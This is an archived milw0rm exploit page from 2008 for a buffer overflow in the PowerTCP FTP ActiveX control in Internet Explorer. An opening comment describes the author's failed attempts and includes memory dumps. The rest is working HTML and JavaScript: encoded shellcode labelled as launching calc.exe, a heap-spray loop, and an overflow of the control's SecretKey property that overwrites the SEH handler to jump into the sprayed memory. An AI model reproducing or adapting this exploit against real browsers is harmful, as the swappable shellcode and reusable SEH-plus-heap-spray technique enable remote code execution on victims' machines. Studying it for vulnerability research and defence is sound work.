102 lines
No EOL
6.1 KiB
HTML
102 lines
No EOL
6.1 KiB
HTML
<!--
|
||
PowerTCP FTP module Multiple Technique Exploit ( SEH Overwrite + HeapSpray )
|
||
bug originally found by : Intel (http://www.milw0rm.com/exploits/6793)
|
||
I use Intel's exploit , but IE change unASCII bytes and it doesn't work! ( my system is XP SP2 IE7 ).
|
||
then I wrote my own expl with HeapSpray technique , but it doesn't work again.
|
||
block of heap that contain my address change after eip point to it!
|
||
before jump ( EIP = unkn0wn ) :
|
||
0A0A0A0A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
|
||
0A0A0A1A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
|
||
0A0A0A2A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
|
||
0A0A0A3A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
|
||
0A0A0A4A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
|
||
0A0A0A5A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
|
||
0A0A0A6A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
|
||
0A0A0A7A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
|
||
0A0A0A8A 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ����������������
|
||
|
||
after jump ( EIP = 0x0a0a0a0a ) :
|
||
0A0A0A0A 00 00 00 00 00 01 00 00 0A 0A 0A 0A 0A 0A 0A 0A ...............
|
||
0A0A0A1A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A ................
|
||
0A0A0A2A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A ................
|
||
0A0A0A3A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A ................
|
||
0A0A0A4A 0A 0A 0A 0A 0A 0A 0A 0A 90 90 90 90 0E 00 00 00 ........����...
|
||
0A0A0A5A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A ................
|
||
0A0A0A6A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A ................
|
||
0A0A0A7A 6D 6D 6D 6C 67 67 67 66 6D 6D 6D 6C 67 67 67 66 mmmlgggfmmmlgggf
|
||
0A0A0A8A 8F 8F 8F 39 85 85 85 33 8F 8F 8F 39 85 85 85 33 ���9���3���9���3
|
||
0A0A0A9A AE FA FA F9 C9 9D 9D 9F A4 F0 F0 F3 C3 97 97 95 ������������
|
||
|
||
you know what was happen ?? ( if know tell me plz)
|
||
again I wrote exploite ,but with SEH overwrite technique !!! ouch , it would not like to work!!!!
|
||
I use flash9d.ocx for bypass /SafeSeh but ...
|
||
at this time I combine SEH overwoite and HeapSpray technique and it work properly !
|
||
now Seh Handler point to 0x0a0a0a0a block , so shellcode execute properly without changing heap block!
|
||
I think overwriting seh handler with pop/pop/ret and Next handler pointer by 0xHeapAddr work good, try to do it.
|
||
------------------------------------------------------
|
||
{ special Tnx goes to my friends : str0ke , Amir Ashtiyani ,Alireza , Amir , Yashar , Vahid and all snoop memberZ }
|
||
Shahriyar Jalayeri <Shahriyar.j // gmail // com >
|
||
Snoop Security Research committee < Snoop-security.com >
|
||
-->
|
||
<html>
|
||
<object id=boom classid="clsid:39FDA070-61BA-11D2-AD84-00105A17B608" ></object>
|
||
<input language=JavaScript onclick=Exploiter() type=button value="Launch Exploit">
|
||
<script>
|
||
// clac.exe
|
||
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
|
||
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
|
||
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
|
||
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
|
||
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
|
||
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
|
||
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
|
||
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
|
||
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
|
||
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
|
||
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
|
||
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
|
||
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
|
||
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
|
||
"%u652E%u6578%u9000");
|
||
|
||
|
||
var spraySlide = unescape("%u9090%u9090");
|
||
var heapSprayToAddress = 0x0a0a0a0a;
|
||
var heapBlockSize = 0x400000;
|
||
var SizeOfHeapDataMoreover = 0x5;
|
||
var payLoadSize = (shellcode.length * 2);
|
||
|
||
var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
|
||
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
|
||
|
||
var memory = new Array();
|
||
|
||
function getSpraySlide(spraySlide, spraySlideSize)
|
||
{
|
||
while (spraySlide.length*2<spraySlideSize)
|
||
{
|
||
spraySlide += spraySlide;
|
||
}
|
||
spraySlide = spraySlide.substring(0,spraySlideSize/2);
|
||
return (spraySlide);
|
||
}
|
||
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
|
||
for (i=0;i<heapBlocks;i++)
|
||
{
|
||
memory[i] = spraySlide + shellcode;
|
||
}
|
||
function Exploiter(){
|
||
var Buffer = 'A';
|
||
var BufferSize = 1716;
|
||
// jump to the nothing!
|
||
var NextSehHandler = unescape("%90%90%90%90");
|
||
// now jump to the Hell Block
|
||
var SehHandler = unescape("%0a%0a%0a%0a");
|
||
while(Buffer.length<BufferSize) Buffer += Buffer;
|
||
Buffer = Buffer.substring(0,BufferSize);
|
||
boom.SecretKey = Buffer + NextSehHandler + SehHandler ;
|
||
}
|
||
</script>
|
||
</html>
|
||
|
||
# milw0rm.com [2008-10-26] |